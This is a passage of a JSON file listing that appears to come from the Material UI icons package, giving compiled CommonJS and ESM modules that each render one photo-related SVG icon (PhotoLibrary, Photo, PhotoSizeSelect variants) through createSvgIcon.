    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 16V4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2m-10.6-3.47 1.63 2.18 2.58-3.22c.2-.25.58-.25.78 0l2.96 3.7c.26.33.03.81-.39.81H9c-.41 0-.65-.47-.4-.8l2-2.67c.2-.26.6-.26.8 0M2 7v13c0 1.1.9 2 2 2h13c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1-.45-1-1V7c0-.55-.45-1-1-1s-1 .45-1 1\"\n}), 'PhotoLibraryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoLibraryRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 16V4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2m-10.6-3.47 1.63 2.18 2.58-3.22c.2-.25.58-.25.78 0l2.96 3.7c.26.33.03.81-.39.81H9c-.41 0-.65-.47-.4-.8l2-2.67c.2-.26.6-.26.8 0M2 7v13c0 1.1.9 2 2 2h13c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1-.45-1-1V7c0-.55-.45-1-1-1s-1 .45-1 1\"\n}), 'PhotoLibraryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoLibrarySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 18V2H6v16zm-11-6 2.03 2.71L16 11l4 5H8zM2 6v16h16v-2H4V6z\"\n}), 'PhotoLibrarySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoLibrarySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 18V2H6v16zm-11-6 2.03 2.71L16 11l4 5H8zM2 6v16h16v-2H4V6z\"\n}), 'PhotoLibrarySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoLibraryTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 16h12V4H8zm3.5-4.33 1.69 2.26 2.48-3.09L19 15H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 16V4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2m-2 0H8V4h12zm-4.33-5.17-2.48 3.09-1.69-2.25L9 15h10zM4 22h14v-2H4V6H2v14c0 1.1.9 2 2 2\"\n}, \"1\")], 'PhotoLibraryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoLibraryTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 16h12V4H8zm3.5-4.33 1.69 2.26 2.48-3.09L19 15H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 16V4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2m-2 0H8V4h12zm-4.33-5.17-2.48 3.09-1.69-2.25L9 15h10zM4 22h14v-2H4V6H2v14c0 1.1.9 2 2 2\"\n}, \"1\")], 'PhotoLibraryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5v14H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-4.86 8.86-3 3.87L9 13.14 6 17h12z\"\n}), 'PhotoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5v14H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-4.86 8.86-3 3.87L9 13.14 6 17h12z\"\n}), 'PhotoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 19V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2M8.9 13.98l2.1 2.53 3.1-3.99c.2-.26.6-.26.8.01l3.51 4.68c.25.33.01.8-.4.8H6.02c-.42 0-.65-.48-.39-.81L8.12 14c.19-.26.57-.27.78-.02\"\n}), 'PhotoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 19V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2M8.9 13.98l2.1 2.53 3.1-3.99c.2-.26.6-.26.8.01l3.51 4.68c.25.33.01.8-.4.8H6.02c-.42 0-.65-.48-.39-.81L8.12 14c.19-.26.57-.27.78-.02\"\n}), 'PhotoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 21V3H3v18zM8.5 13.5l2.5 3.01L14.5 12l4.5 6H5z\"\n}), 'PhotoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 21V3H3v18zM8.5 13.5l2.5 3.01L14.5 12l4.5 6H5z\"\n}), 'PhotoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoSizeSelectActual.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3C2 3 1 4 1 5v14c0 1.1.9 2 2 2h18c1 0 2-1 2-2V5c0-1-1-2-2-2M5 17l3.5-4.5 2.5 3.01L14.5 11l4.5 6z\"\n}), 'PhotoSizeSelectActual');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoSizeSelectActual.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3C2 3 1 4 1 5v14c0 1.1.9 2 2 2h18c1 0 2-1 2-2V5c0-1-1-2-2-2M5 17l3.5-4.5 2.5 3.01L14.5 11l4.5 6z\"\n}), 'PhotoSizeSelectActual');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoSizeSelectActualOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3C2 3 1 4 1 5v14c0 1.1.9 2 2 2h18c1 0 2-1 2-2V5c0-1-1-2-2-2m0 15.92c-.02.03-.06.06-.08.08H3V5.08L3.08 5h17.83c.03.02.06.06.08.08v13.84zm-10-3.41L8.5 12.5 5 17h14l-4.5-6z\"\n}), 'PhotoSizeSelectActualOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoSizeSelectActualOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3C2 3 1 4 1 5v14c0 1.1.9 2 2 2h18c1 0 2-1 2-2V5c0-1-1-2-2-2m0 15.92c-.02.03-.06.06-.08.08H3V5.08L3.08 5h17.83c.03.02.06.06.08.08v13.84zm-10-3.41L8.5 12.5 5 17h14l-4.5-6z\"\n}), 'PhotoSizeSelectActualOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoSizeSelectActualRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3C2 3 1 4 1 5v14c0 1.1.9 2 2 2h18c1 0 2-1 2-2V5c0-1-1-2-2-2M5.63 16.19l2.49-3.2c.2-.25.58-.26.78-.01l2.1 2.53 3.1-3.99c.2-.26.6-.26.8.01l3.51 4.68c.25.33.01.8-.4.8H6.02c-.41-.01-.65-.49-.39-.82\"\n}), 'PhotoSizeSelectActualRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoSizeSelectActualRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3C2 3 1 4 1 5v14c0 1.1.9 2 2 2h18c1 0 2-1 2-2V5c0-1-1-2-2-2M5.63 16.19l2.49-3.2c.2-.25.58-.26.78-.01l2.1 2.53 3.1-3.99c.2-.26.6-.26.8.01l3.51 4.68c.25.33.01.8-.4.8H6.02c-.41-.01-.65-.49-.39-.82\"\n}), 'PhotoSizeSelectActualRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoSizeSelectActualSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 3H1v18h22zM5 17l3.5-4.5 2.5 3.01L14.5 11l4.5 6z\"\n}), 'PhotoSizeSelectActualSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoSizeSelectActualSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 3H1v18h22zM5 17l3.5-4.5 2.5 3.01L14.5 11l4.5 6z\"\n}), 'PhotoSizeSelectActualSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoSizeSelectActualTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.08 5 3 5.08V19h17.92c.03-.02.06-.06.08-.08V5.08L20.92 5zM5 17l3.5-4.5 2.5 3.01L14.5 11l4.5 6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3C2 3 1 4 1 5v14c0 1.1.9 2 2 2h18c1 0 2-1 2-2V5c0-1-1-2-2-2m0 15.92c-.02.03-.06.06-.08.08H3V5.08L3.08 5h17.83c.03.02.06.06.08.08v13.84zm-10-3.41L8.5 12.5 5 17h14l-4.5-6z\"\n}, \"1\")], 'PhotoSizeSelectActualTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoSizeSelectActualTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.08 5 3 5.08V19h17.92c.03-.02.06-.06.08-.08V5.08L20.92 5zM5 17l3.5-4.5 2.5 3.01L14.5 11l4.5 6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3C2 3 1 4 1 5v14c0 1.1.9 2 2 2h18c1 0 2-1 2-2V5c0-1-1-2-2-2m0 15.92c-.02.03-.06.06-.08.08H3V5.08L3.08 5h17.83c.03.02.06.06.08.08v13.84zm-10-3.41L8.5 12.5 5 17h14l-4.5-6z\"\n}, \"1\")], 'PhotoSizeSelectActualTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoSizeSelectLarge.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 15h2v2h-2zm0-4h2v2h-2zm2 8h-2v2c1 0 2-1 2-2M13 3h2v2h-2zm8 4h2v2h-2zm0-4v2h2c0-1-1-2-2-2M1 7h2v2H1zm16-4h2v2h-2zm0 16h2v2h-2zM3 3C2 3 1 4 1 5h2zm6 0h2v2H9zM5 3h2v2H5zm-4 8v8c0 1.1.9 2 2 2h12V11zm2 8 2.5-3.21 1.79 2.15 2.5-3.22L13 19z\"\n}), 'PhotoSizeSelectLarge');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoSizeSelectLarge.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 15h2v2h-2zm0-4h2v2h-2zm2 8h-2v2c1 0 2-1 2-2M13 3h2v2h-2zm8 4h2v2h-2zm0-4v2h2c0-1-1-2-2-2M1 7h2v2H1zm16-4h2v2h-2zm0 16h2v2h-2zM3 3C2 3 1 4 1 5h2zm6 0h2v2H9zM5 3h2v2H5zm-4 8v8c0 1.1.9 2 2 2h12V11zm2 8 2.5-3.21 1.79 2.15 2.5-3.22L13 19z\"\n}), 'PhotoSizeSelectLarge');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoSizeSelectLargeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 15h2v2h-2zm0-4h2v2h-2zm2 8h-2v2c1 0 2-1 2-2M13 3h2v2h-2zm8 4h2v2h-2zm0-4v2h2c0-1-1-2-2-2M1 7h2v2H1zm16-4h2v2h-2zm0 16h2v2h-2zM3 3C2 3 1 4 1 5h2zm6 0h2v2H9zM5 3h2v2H5zm-4 8v8c0 1.1.9 2 2 2h12V11zm2 8 2.5-3.21 1.79 2.15 2.5-3.22L13 19z\"\n}), 'PhotoSizeSelectLargeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoSizeSelectLargeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 15h2v2h-2zm0-4h2v2h-2zm2 8h-2v2c1 0 2-1 2-2M13 3h2v2h-2zm8 4h2v2h-2zm0-4v2h2c0-1-1-2-2-2M1 7h2v2H1zm16-4h2v2h-2zm0 16h2v2h-2zM3 3C2 3 1 4 1 5h2zm6 0h2v2H9zM5 3h2v2H5zm-4 8v8c0 1.1.9 2 2 2h12V11zm2 8 2.5-3.21 1.79 2.15 2.5-3.22L13 19z\"\n}), 'PhotoSizeSelectLargeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoSizeSelectLargeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 15h2v2h-2zm0-4h2v2h-2zm2 8h-2v2c1 0 2-1 2-2M13 3h2v2h-2zm8 4h2v2h-2zm0-4v2h2c0-1-1-2-2-2M1 7h2v2H1zm16-4h2v2h-2zm0 16h2v2h-2zM3 3C2 3 1 4 1 5h2zm6 0h2v2H9zM5 3h2v2H5zm-4 8v8c0 1.1.9 2 2 2h12v-8c0-1.1-.9-2-2-2zm2.63 7.19 1.49-1.91c.2-.25.57-.26.78-.01l1.39 1.67 2.1-2.7c.2-.26.6-.26.79.01l2.22 2.96c.25.33.01.8-.4.8H4.02c-.41-.01-.65-.49-.39-.82\"\n}), 'PhotoSizeSelectLargeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoSizeSelectLargeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 15h2v2h-2zm0-4h2v2h-2zm2 8h-2v2c1 0 2-1 2-2M13 3h2v2h-2zm8 4h2v2h-2zm0-4v2h2c0-1-1-2-2-2M1 7h2v2H1zm16-4h2v2h-2zm0 16h2v2h-2zM3 3C2 3 1 4 1 5h2zm6 0h2v2H9zM5 3h2v2H5zm-4 8v8c0 1.1.9 2 2 2h12v-8c0-1.1-.9-2-2-2zm2.63 7.19 1.49-1.91c.2-.25.57-.26.78-.01l1.39 1.67 2.1-2.7c.2-.26.6-.26.79.01l2.22 2.96c.25.33.01.8-.4.8H4.02c-.41-.01-.65-.49-.39-.82\"\n}), 'PhotoSizeSelectLargeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoSizeSelectLargeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 15h2v2h-2zm0 4h2v2h-2zm0-8h2v2h-2zm-8-8h2v2h-2zm8 4h2v2h-2zM1 7h2v2H1zm16-4h2v2h-2zm0 16h2v2h-2zM3 3H1v2h2zm20 0h-2v2h2zM9 3h2v2H9zM5 3h2v2H5zm-4 8v10h14V11zm2 8 2.5-3.21 1.79 2.15 2.5-3.22L13 19z\"\n}), 'PhotoSizeSelectLargeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoSizeSelectLargeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 15h2v2h-2zm0 4h2v2h-2zm0-8h2v2h-2zm-8-8h2v2h-2zm8 4h2v2h-2zM1 7h2v2H1zm16-4h2v2h-2zm0 16h2v2h-2zM3 3H1v2h2zm20 0h-2v2h2zM9 3h2v2H9zM5 3h2v2H5zm-4 8v10h14V11zm2 8 2.5-3.21 1.79 2.15 2.5-3.22L13 19z\"\n}), 'PhotoSizeSelectLargeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoSizeSelectLargeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 19h2v2h-2zM1 19c0 1.1.9 2 2 2h12V11H1zm4.5-3.21 1.79 2.15 2.5-3.22L13 19H3zM17 3h2v2h-2zm4 8h2v2h-2zm0 4h2v2h-2zM3 3C2 3 1 4 1 5h2zm18 4h2v2h-2zm-8-4h2v2h-2zm8 18c1 0 2-1 2-2h-2zM1 7h2v2H1zm8-4h2v2H9zM5 3h2v2H5zm16 0v2h2c0-1-1-2-2-2\"\n}), 'PhotoSizeSelectLargeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoSizeSelectLargeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 19h2v2h-2zM1 19c0 1.1.9 2 2 2h12V11H1zm4.5-3.21 1.79 2.15 2.5-3.22L13 19H3zM17 3h2v2h-2zm4 8h2v2h-2zm0 4h2v2h-2zM3 3C2 3 1 4 1 5h2zm18 4h2v2h-2zm-8-4h2v2h-2zm8 18c1 0 2-1 2-2h-2zM1 7h2v2H1zm8-4h2v2H9zM5 3h2v2H5zm16 0v2h2c0-1-1-2-2-2\"\n}), 'PhotoSizeSelectLargeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoSizeSelectSmall.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 15h-2v2h2zm0-4h-2v2h2zm0 8h-2v2c1 0 2-1 2-2M15 3h-2v2h2zm8 4h-2v2h2zm-2-4v2h2c0-1-1-2-2-2M3 21h8v-6H1v4c0 1.1.9 2 2 2M3 7H1v2h2zm12 12h-2v2h2zm4-16h-2v2h2zm0 16h-2v2h2zM3 3C2 3 1 4 1 5h2zm0 8H1v2h2zm8-8H9v2h2zM7 3H5v2h2z\"\n}), 'PhotoSizeSelectSmall');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoSizeSelectSmall.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 15h-2v2h2zm0-4h-2v2h2zm0 8h-2v2c1 0 2-1 2-2M15 3h-2v2h2zm8 4h-2v2h2zm-2-4v2h2c0-1-1-2-2-2M3 21h8v-6H1v4c0 1.1.9 2 2 2M3 7H1v2h2zm12 12h-2v2h2zm4-16h-2v2h2zm0 16h-2v2h2zM3 3C2 3 1 4 1 5h2zm0 8H1v2h2zm8-8H9v2h2zM7 3H5v2h2z\"\n}), 'PhotoSizeSelectSmall');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoSizeSelectSmallOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 15h-2v2h2zm0-4h-2v2h2zm0 8h-2v2c1 0 2-1 2-2M15 3h-2v2h2zm8 4h-2v2h2zm-2-4v2h2c0-1-1-2-2-2M3 21h8v-6H1v4c0 1.1.9 2 2 2M3 7H1v2h2zm12 12h-2v2h2zm4-16h-2v2h2zm0 16h-2v2h2zM3 3C2 3 1 4 1 5h2zm0 8H1v2h2zm8-8H9v2h2zM7 3H5v2h2z\"\n}), 'PhotoSizeSelectSmallOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoSizeSelectSmallOutlined.mjs",
